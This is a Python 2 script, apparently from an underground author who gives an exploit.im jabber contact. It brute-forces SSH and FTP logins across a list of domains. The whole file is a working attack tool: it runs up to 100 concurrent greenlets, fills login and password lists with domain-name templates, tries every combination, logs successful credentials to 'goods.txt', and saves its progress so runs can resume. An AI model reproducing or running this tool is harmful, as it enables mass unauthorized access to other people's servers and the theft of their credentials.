#!/usr/bin/python2.7
# -*- coding: UTF-8 -*-
#Create by Slaviskes
#jabber: slaviskes@exploit.im


import sys
import argparse
import re
import gevent, gevent.monkey
import paramiko
from paramiko.ssh_exception import SSHException, AuthenticationException
from ftplib import FTP
import ftplib
import gevent.os
gevent.monkey.patch_all()


class SaverWork():
    def __init__(self, save_file, time_update=10):
        self.work_lines = {}
        self.min_line_number = 0
        self.max_line_number = 0
        self.save_file = save_file
        self.loader_work_moment()
        self.time_update = time_update
        self.run_threads = 0

    def thread_start(self):
        self.run_threads += 1

    def thread_stop(self):
        self.run_threads -= 1

    def clear_work_file(self):
        try:
            self.save_file.truncate(0)
        except Exception as e:
            print "WorkSaver: can't clear work file {0}".format(e.message)

    def save_work_moment(self):
        try:
            self.save_file.truncate(0)
            self.save_file.write(str(self.min_line_number))
        except Exception as e:
            print "WorkSaver: can't save result in file {0}".format(e.message)

    def loader_work_moment(self):
        try:
            line = self.save_file.readline().strip()
            self.min_line_number = int(line)
        except Exception as e:
            print "WorkSaver: can't load previous result work {0}".format(e.message)

    def start_work_with_line(self, line_number):
        #print "start work with line {0}".format(line_number)
        #print self.work_lines.keys()
        self.work_lines[line_number] = True
        if line_number < self.min_line_number:
            self.min_line_number = line_number

    def end_work_with_line(self, line_number):
        if line_number in self.work_lines:
            #print "end work with line {0}".format(line_number)
            #print self.work_lines.keys()
            del self.work_lines[line_number]
            if line_number > self.max_line_number:
                self.max_line_number = line_number
                self.update_min_line_number()
                self.save_work_moment()
            else:
                self.update_min_line_number()

    def get_min_line_number(self):
        return self.min_line_number

    def saver_work_moment(self):
        gevent.sleep(self.time_update)
        while self.run_threads > 0:
            print "Wait threads number: {0}".format(self.run_threads)
            self.save_work_moment()
            #print self.max_line_number, " ", self.min_line_number, " ", self.work_lines.keys()
            gevent.sleep(self.time_update)
            self.save_work_moment()

    def update_min_line_number(self):
        if len(self.work_lines):
            self.min_line_number = min(self.work_lines.keys())
        else:
            self.min_line_number = self.max_line_number


def create_argparse():
    parser = argparse.ArgumentParser()
    file_type = argparse.FileType(mode='r')
    parser.add_argument('-d', '--domains', required=True, type=file_type)
    parser.add_argument('--login', required=True, type=file_type)
    parser.add_argument('--password', required=True, type=file_type)
    parser.add_argument('-p', '--protocol', required=True, type=str, choices=['ssh','ftp'])
    parser.add_argument('-t', '--thread', default=100, type=int)
    return parser


def check_domain_or_ip(domain):
    pattern = re.compile(ur'(^(?:(?:www[\.])?\w+[\w\-\.]*[\w]+\.[\w]{2,7})|(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$)', re.UNICODE)
    try:
        return pattern.match(domain.decode('utf-8'))
    except AttributeError:
        return False


def get_domain_names(domain):
    names = {
        'allname': '',
        'name': ''
    }
    domain_split = domain.split('.')
    if re.match(ur'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', domain):
        return names
    names['allname'] = domain
    try:
        if domain_split[0] == 'www':
            names['name'] = domain_split[0]
        else:
            names['name'] = domain_split[1]
    except IndexError:
        pass
    finally:
        return names


def replace_templates(domain, line):
    names = get_domain_names(domain)
    for name_key, name_value in names.iteritems():
        line = line.replace('%{0}%'.format(name_key), name_value)
    return line


def get_work_data(domain_file,  work_saver):
    if len(logins) and len(passwords):
        for line_number, domain_line in enumerate(domain_file):
            if work_saver.get_min_line_number() > line_number:
                continue
            domain = domain_line.strip()
            if check_domain_or_ip(domain):
                    yield (line_number, domain)


def get_login_password(domain, logins, passwords):
    for login in logins:
        login = replace_templates(domain, login.strip())
        for password in passwords:
            password = replace_templates(domain, password.strip())
            yield (login, password)


def get_next_login_password(domain, logins, passwords):
    for login_password in get_login_password(domain, logins, passwords):
        yield login_password


def get_lines_from_file(file):
    return [line.strip() for line in file]


def get_next_work_data(namespace, work_saver):
    for work_data in get_work_data(namespace.domains, work_saver):
        yield work_data


def task(work_data_list, logins, passwords, protocol, goods_file, work_saver, i):
    work_saver.thread_start()
    iteration = 0
    for line_number, domain in work_data_list:
        print "Thread {0} start brute {1}({2})".format(i, protocol, domain)
        iteration += 1
        login_password_list_gen = get_next_login_password(domain, logins, passwords)
        for login, password in login_password_list_gen:
            try:
                work_saver.start_work_with_line(line_number)
                #print "Thread {0} start brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
                if protocol == 'ssh':
                    try:
                        client = paramiko.SSHClient()
                        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                        client.connect(hostname=domain, username=login, password=password, timeout=10)
                        client.close()
                        print "Thread {0} success brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
                        goods_file.write("{0}@{1}\t:\t{2}\n".format(login, domain, password))
                    except AuthenticationException:
                        pass
                        #print "Thread {0} failed brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
                else:
                    good = False
                    try:
                        client = FTP(domain, login, password, timeout=10)
                        client.connect()
                        good = True
                    except EOFError:
                        pass
                    except(ftplib.error_perm, ftplib.error_temp) as e:
                        if e.message.find('530') == -1:
                            good = True
                    if good:
                        print "Thread {0} success brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
                        goods_file.write("{0}@{1}\t:\t{2}\n".format(login, domain, password))
            except Exception as e:
                print "Thread {0} failed brute {1}({2}) login: {3} password: {4} {5}".format(i, protocol, domain, login, password, e.message)
                break
            finally:
                work_saver.end_work_with_line(line_number)
    if iteration:
        print "Thread {0} stop".format(i)
    work_saver.thread_stop()


if __name__ == '__main__':
    print "Start work"
    namespace = create_argparse().parse_args(sys.argv[1:])
    goods_file = open('goods.txt', 'a')
    worksave_file = open('worksave', 'a+')
    work_saver = SaverWork(worksave_file, time_update=10)
    for file_handler in (namespace.domains, namespace.login, namespace.password, goods_file, worksave_file):
        gevent.os.make_nonblocking(file_handler)
    logins = get_lines_from_file(namespace.login)
    passwords = get_lines_from_file(namespace.password)
    work_data_list_gen = get_next_work_data(namespace, work_saver)
    threads = [gevent.spawn(task, work_data_list_gen, logins, passwords, namespace.protocol, goods_file, work_saver, i) for i in xrange(namespace.thread)]
    threads.append(gevent.spawn(work_saver.saver_work_moment))
    gevent.joinall(threads)
    work_saver.clear_work_file()
    for file_handler in (namespace.domains, namespace.login, namespace.password, goods_file, worksave_file):
        file_handler.close()
    print "Finished work"